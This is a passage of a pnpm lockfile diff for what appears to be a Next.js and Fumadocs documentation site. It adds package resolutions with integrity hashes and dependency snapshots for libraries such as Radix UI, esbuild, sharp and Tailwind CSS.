strip-ansi@7.2.0: + resolution: {integrity: sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==} + engines: {node: '>=12'} + + strip-final-newline@2.0.0: + resolution: {integrity: sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==} + engines: {node: '>=6'} + + strip-json-comments@2.0.1: + resolution: {integrity: sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==} + engines: {node: '>=0.10.0'} + + style-to-js@1.1.21: + resolution: {integrity: sha512-RjQetxJrrUJLQPHbLku6U/ocGtzyjbJMP9lCNK7Ag0CNh690nSH8woqWH9u16nMjYBAok+i7JO1NP2pOy8IsPQ==} + + style-to-object@1.0.14: + resolution: {integrity: sha512-LIN7rULI0jBscWQYaSswptyderlarFkjQ+t79nzty8tcIAceVomEVlLzH5VP4Cmsv6MtKhs7qaAiwlcp+Mgaxw==} + + styled-jsx@5.1.6: + resolution: {integrity: sha512-qSVyDTeMotdvQYoHWLNGwRFJHC+i+ZvdBRYosOFgC+Wg1vx4frN2/RG/NA7SYqqvKNLf39P2LSRA2pu6n0XYZA==} + engines: {node: '>= 12.0.0'} + peerDependencies: + '@babel/core': '*' + babel-plugin-macros: '*' + react: '>= 16.8.0 || 17.x.x || ^18.0.0-0 || ^19.0.0-0' + peerDependenciesMeta: + '@babel/core': + optional: true + babel-plugin-macros: + optional: true + + supports-color@7.2.0: + resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} + engines: {node: '>=8'} + + tailwindcss@4.3.3: + resolution: {integrity: sha512-gOhV3P7ufE62QDGg1zVaTgCR+EtPv92k2nIhVcVKcLmxT1sUBsQGhnZj175j+MqRt4zLF7ic+sCYjfhxMxj7YQ==} + + tapable@2.3.3: + resolution: {integrity: sha512-uxc/zpqFg6x7C8vOE7lh6Lbda8eEL9zmVm/PLeTPBRhh1xCgdWaQ+J1CUieGpIfm2HdtsUpRv+HshiasBMcc6A==} + engines: {node: '>=6'} + + tinyexec@1.3.0: + resolution: {integrity: sha512-QKAl9m8gWWGHV8jZcPeym6j+XULi6tOf1mT83WYJ4Lk2ytW/uwAWkrP0uFsdoYMdueVJ0qs26wZ+23xeB4ibNQ==} + engines: {node: '>=18'} + + tinyglobby@0.2.17: + resolution: {integrity: sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==} + engines: {node: '>=12.0.0'} + + trim-lines@3.0.1: + resolution: {integrity: sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==} + + trough@2.2.0: + resolution: {integrity: sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==} + + tslib@2.8.1: + resolution: {integrity: sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==} + + type-fest@2.19.0: + resolution: {integrity: sha512-RAH822pAdBgcNMAfWnCBU3CFZcfZ/i1eZjwFU/dsLKumyuuP3niueg2UAukXYF0E2AAoc82ZSSf9J0WQBinzHA==} + engines: {node: '>=12.20'} + + typescript@6.0.3: + resolution: {integrity: sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw==} + engines: {node: '>=14.17'} + hasBin: true + + undici-types@8.3.0: + resolution: {integrity: sha512-j375ScV60dom+YkPFIfTLcOiPxkN/buHz5GobjLhixFuANaNs3C9l4GmrWqejgXWJ7BbJcFYpTEUkS1Ge8bpZQ==} + + unified@11.0.5: + resolution: {integrity: sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==} + + unist-util-is@6.0.1: + resolution: {integrity: sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==} + + unist-util-position-from-estree@2.0.0: + resolution: {integrity: sha512-KaFVRjoqLyF6YXCbVLNad/eS4+OfPQQn2yOd7zF/h5T/CSL2v8NpN6a5TPvtbXthAGw5nG+PuTtq+DdIZr+cRQ==} + + unist-util-position@5.0.0: + resolution: {integrity: sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==} + + unist-util-remove-position@5.0.0: + resolution: {integrity: sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q==} + + unist-util-stringify-position@4.0.0: + resolution: {integrity: sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==} + + unist-util-visit-parents@6.0.2: + resolution: {integrity: sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ==} + + unist-util-visit@5.1.0: + resolution: {integrity: sha512-m+vIdyeCOpdr/QeQCu2EzxX/ohgS8KbnPDgFni4dQsfSCtpz8UqDyY5GjRru8PDKuYn7Fq19j1CQ+nJSsGKOzg==} + + update-check@1.5.4: + resolution: {integrity: sha512-5YHsflzHP4t1G+8WGPlvKbJEbAJGCgw+Em+dGR1KmBUbr1J36SJBqlHLjR7oob7sco5hWHGQVcr9B2poIVDDTQ==} + + use-callback-ref@1.3.3: + resolution: {integrity: sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + use-sidecar@1.1.3: + resolution: {integrity: sha512-Fedw0aZvkhynoPYlA5WXrMCAMm+nSWdZt6lzJQ7Ok8S6Q+VsHmHpRWndVRJ8Be0ZbkfPc5LRYH+5XrzXcEeLRQ==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + vary@1.1.2: + resolution: {integrity: sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==} + engines: {node: '>= 0.8'} + + vfile-location@5.0.3: + resolution: {integrity: sha512-5yXvWDEgqeiYiBe1lbxYF7UMAIm/IcopxMHrMQDq3nvKcjPKIhZklUKL+AE7J7uApI4kwe2snsK+eI6UTj9EHg==} + + vfile-message@4.0.3: + resolution: {integrity: sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==} + + vfile@6.0.3: + resolution: {integrity: sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==} + + web-namespaces@2.0.1: + resolution: {integrity: sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ==} + + which@2.0.2: + resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} + engines: {node: '>= 8'} + hasBin: true + + widest-line@4.0.1: + resolution: {integrity: sha512-o0cyEG0e8GPzT4iGHphIOh0cJOV8fivsXxddQasHPHfoZf1ZexrfeA21w2NaEN1RHE+fXlfISmOE8R9N3u3Qig==} + engines: {node: '>=12'} + + wrap-ansi@8.1.0: + resolution: {integrity: sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==} + engines: {node: '>=12'} + + yaml@2.9.0: + resolution: {integrity: sha512-2AvhNX3mb8zd6Zy7INTtSpl1F15HW6Wnqj0srWlkKLcpYl/gMIMJiyuGq2KeI2YFxUPjdlB+3Lc10seMLtL4cA==} + engines: {node: '>= 14.6'} + hasBin: true + + yuku-analyzer@0.8.3: + resolution: {integrity: sha512-u/kRdlS/Hcqo78pevGoKCcjM4ymcquFlw2qxZgZy6TPkyoExJLww8pnbR8Yck8wO7f9fQ4ymjCdFlhJ1VTzzBw==} + + yuku-ast@0.8.3: + resolution: {integrity: sha512-8x34yU5uhHUnJXzy2Qvjvec/vE9BzS0/2khVT1MsLmSLO/P8Q1Wp8IxHv+IhD+HMYETk6kherOSvP4JPWw2joQ==} + + zod@4.4.3: + resolution: {integrity: sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ==} + + zwitch@2.0.4: + resolution: {integrity: sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==} + +snapshots: + + '@alloc/quick-lru@5.2.0': {} + + '@emnapi/runtime@1.11.3': + dependencies: + tslib: 2.8.1 + optional: true + + '@esbuild/aix-ppc64@0.28.1': + optional: true + + '@esbuild/android-arm64@0.28.1': + optional: true + + '@esbuild/android-arm@0.28.1': + optional: true + + '@esbuild/android-x64@0.28.1': + optional: true + + '@esbuild/darwin-arm64@0.28.1': + optional: true + + '@esbuild/darwin-x64@0.28.1': + optional: true + + '@esbuild/freebsd-arm64@0.28.1': + optional: true + + '@esbuild/freebsd-x64@0.28.1': + optional: true + + '@esbuild/linux-arm64@0.28.1': + optional: true + + '@esbuild/linux-arm@0.28.1': + optional: true + + '@esbuild/linux-ia32@0.28.1': + optional: true + + '@esbuild/linux-loong64@0.28.1': + optional: true + + '@esbuild/linux-mips64el@0.28.1': + optional: true + + '@esbuild/linux-ppc64@0.28.1': + optional: true + + '@esbuild/linux-riscv64@0.28.1': + optional: true + + '@esbuild/linux-s390x@0.28.1': + optional: true + + '@esbuild/linux-x64@0.28.1': + optional: true + + '@esbuild/netbsd-arm64@0.28.1': + optional: true + + '@esbuild/netbsd-x64@0.28.1': + optional: true + + '@esbuild/openbsd-arm64@0.28.1': + optional: true + + '@esbuild/openbsd-x64@0.28.1': + optional: true + + '@esbuild/openharmony-arm64@0.28.1': + optional: true + + '@esbuild/sunos-x64@0.28.1': + optional: true + + '@esbuild/win32-arm64@0.28.1': + optional: true + + '@esbuild/win32-ia32@0.28.1': + optional: true + + '@esbuild/win32-x64@0.28.1': + optional: true + + '@floating-ui/core@1.8.0': + dependencies: + '@floating-ui/utils': 0.2.12 + + '@floating-ui/dom@1.8.0': + dependencies: + '@floating-ui/core': 1.8.0 + '@floating-ui/utils': 0.2.12 + + '@floating-ui/react-dom@2.1.9(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@floating-ui/dom': 1.8.0 + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + + '@floating-ui/utils@0.2.12': {} + + '@fuma-translate/react@1.0.2(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + + '@fumadocs/tailwind@0.1.1(tailwindcss@4.3.3)': + optionalDependencies: + tailwindcss: 4.3.3 + + '@img/colour@1.1.0': + optional: true + + '@img/sharp-darwin-arm64@0.35.3': + optionalDependencies: + '@img/sharp-libvips-darwin-arm64': 1.3.2 + optional: true + + '@img/sharp-darwin-x64@0.35.3': + optionalDependencies: + '@img/sharp-libvips-darwin-x64': 1.3.2 + optional: true + + '@img/sharp-freebsd-wasm32@0.35.3': + dependencies: + '@img/sharp-wasm32': 0.35.3 + optional: true + + '@img/sharp-libvips-darwin-arm64@1.3.2': + optional: true + + '@img/sharp-libvips-darwin-x64@1.3.2': + optional: true + + '@img/sharp-libvips-linux-arm64@1.3.2': + optional: true + + '@img/sharp-libvips-linux-arm@1.3.2': + optional: true + + '@img/sharp-libvips-linux-ppc64@1.3.2': + optional: true + + '@img/sharp-libvips-linux-riscv64@1.3.2': + optional: true + + '@img/sharp-libvips-linux-s390x@1.3.2': + optional: true + + '@img/sharp-libvips-linux-x64@1.3.2': + optional: true + + '@img/sharp-libvips-linuxmusl-arm64@1.3.2': + optional: true + + '@img/sharp-libvips-linuxmusl-x64@1.3.2': + optional: true + + '@img/sharp-linux-arm64@0.35.3': + optionalDependencies: + '@img/sharp-libvips-linux-arm64': 1.3.2 + optional: true + + '@img/sharp-linux-arm@0.35.3': + optionalDependencies: + '@img/sharp-libvips-linux-arm': 1.3.2 + optional: true + + '@img/sharp-linux-ppc64@0.35.3': + optionalDependencies: + '@img/sharp-libvips-linux-ppc64': 1.3.2 + optional: true + + '@img/sharp-linux-riscv64@0.35.3': + optionalDependencies: + '@img/sharp-libvips-linux-riscv64': 1.3.2 + optional: true + + '@img/sharp-linux-s390x@0.35.3': + optionalDependencies: + '@img/sharp-libvips-linux-s390x': 1.3.2 + optional: true + + '@img/sharp-linux-x64@0.35.3': + optionalDependencies: + '@img/sharp-libvips-linux-x64': 1.3.2 + optional: true + + '@img/sharp-linuxmusl-arm64@0.35.3': + optionalDependencies: + '@img/sharp-libvips-linuxmusl-arm64': 1.3.2 + optional: true + + '@img/sharp-linuxmusl-x64@0.35.3': + optionalDependencies: + '@img/sharp-libvips-linuxmusl-x64': 1.3.2 + optional: true + + '@img/sharp-wasm32@0.35.3': + dependencies: + '@emnapi/runtime': 1.11.3 + optional: true + + '@img/sharp-webcontainers-wasm32@0.35.3': + dependencies: + '@img/sharp-wasm32': 0.35.3 + optional: true + + '@img/sharp-win32-arm64@0.35.3': + optional: true + + '@img/sharp-win32-ia32@0.35.3': + optional: true + + '@img/sharp-win32-x64@0.35.3': + optional: true + + '@jridgewell/gen-mapping@0.3.13': + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/remapping@2.3.5': + dependencies: + '@jridgewell/gen-mapping': 0.3.13 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/resolve-uri@3.1.2': {} + + '@jridgewell/sourcemap-codec@1.5.5': {} + + '@jridgewell/trace-mapping@0.3.31': + dependencies: + '@jridgewell/resolve-uri': 3.1.2 + '@jridgewell/sourcemap-codec': 1.5.5 + + '@mdx-js/mdx@3.1.1': + dependencies: + '@types/estree': 1.0.9 + '@types/estree-jsx': 1.0.5 + '@types/hast': 3.0.5 + '@types/mdx': 2.0.14 + acorn: 8.18.0 + collapse-white-space: 2.1.0 + devlop: 1.1.0 + estree-util-is-identifier-name: 3.0.0 + estree-util-scope: 1.0.0 + estree-walker: 3.0.3 + hast-util-to-jsx-runtime: 2.3.6 + markdown-extensions: 2.0.0 + recma-build-jsx: 1.0.0 + recma-jsx: 1.0.1(acorn@8.18.0) + recma-stringify: 1.0.0 + rehype-recma: 1.0.0 + remark-mdx: 3.1.1 + remark-parse: 11.0.0 + remark-rehype: 11.1.2 + source-map: 0.7.6 + unified: 11.0.5 + unist-util-position-from-estree: 2.0.0 + unist-util-stringify-position: 4.0.0 + unist-util-visit: 5.1.0 + vfile: 6.0.3 + transitivePeerDependencies: + - supports-color + + '@next/env@16.2.12': {} + + '@next/swc-darwin-arm64@16.2.12': + optional: true + + '@next/swc-darwin-x64@16.2.12': + optional: true + + '@next/swc-linux-arm64-gnu@16.2.12': + optional: true + + '@next/swc-linux-arm64-musl@16.2.12': + optional: true + + '@next/swc-linux-x64-gnu@16.2.12': + optional: true + + '@next/swc-linux-x64-musl@16.2.12': + optional: true + + '@next/swc-win32-arm64-msvc@16.2.12': + optional: true + + '@next/swc-win32-x64-msvc@16.2.12': + optional: true + + '@orama/orama@3.1.18': {} + + '@radix-ui/number@1.1.3': {} + + '@radix-ui/primitive@1.1.7': {} + + '@radix-ui/react-accordion@1.2.20(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@radix-ui/primitive': 1.1.7 + '@radix-ui/react-collapsible': 1.1.20(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-collection': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8) + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/react-arrow@1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/react-collapsible@1.1.20(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@radix-ui/primitive': 1.1.7 + '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8) + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/react-collection@1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-slot': 1.3.3(@types/react@19.2.18)(react@19.2.8) + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/react-compose-refs@1.1.5(@types/react@19.2.18)(react@19.2.8)': + dependencies: + react: 19.2.8 + optionalDependencies: + '@types/react': 19.2.18 + + '@radix-ui/react-context@1.2.2(@types/react@19.2.18)(react@19.2.8)': + dependencies: + react: 19.2.8 + optionalDependencies: + '@types/react': 19.2.18 + + '@radix-ui/react-dialog@1.1.23(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@radix-ui/primitive': 1.1.7 + '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-dismissable-layer': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-focus-guards': 1.1.6(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-focus-scope': 1.1.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-portal': 1.1.17(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-slot': 1.3.3(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8) + aria-hidden: 1.2.6 + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + react-remove-scroll: 2.7.2(@types/react@19.2.18)(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/react-direction@1.1.4(@types/react@19.2.18)(react@19.2.8)': + dependencies: + react: 19.2.8 + optionalDependencies: + '@types/react': 19.2.18 + + '@radix-ui/react-dismissable-layer@1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@radix-ui/primitive': 1.1.7 + '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-use-effect-event': 0.0.5(@types/react@19.2.18)(react@19.2.8) + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/react-focus-guards@1.1.6(@types/react@19.2.18)(react@19.2.8)': + dependencies: + react: 19.2.8 + optionalDependencies: + '@types/react': 19.2.18 + + '@radix-ui/react-focus-scope@1.1.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8) + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/react-id@1.1.4(@types/react@19.2.18)(react@19.2.8)': + dependencies: + '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8) + react: 19.2.8 + optionalDependencies: + '@types/react': 19.2.18 + + '@radix-ui/react-navigation-menu@1.2.22(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@radix-ui/primitive': 1.1.7 + '@radix-ui/react-collection': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-dismissable-layer': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-use-previous': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-visually-hidden': 1.2.11(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/react-popover@1.1.23(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@radix-ui/primitive': 1.1.7 + '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-dismissable-layer': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-focus-guards': 1.1.6(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-focus-scope': 1.1.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-popper': 1.3.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-portal': 1.1.17(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-slot': 1.3.3(@types/react@19.2.18)(react@19.2.8) + '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8) + aria-hidden: 1.2.6 + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + react-remove-scroll: 2.7.2(@types/react@19.2.18)(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + '@types/react-dom': 19.2.4(@types/react@19.2.18) + + '@radix-ui/react-popper@1.3.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)': + dependencies: + '@floating-ui/react-dom': 2.1.9(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + '@radix-ui/react-arrow': 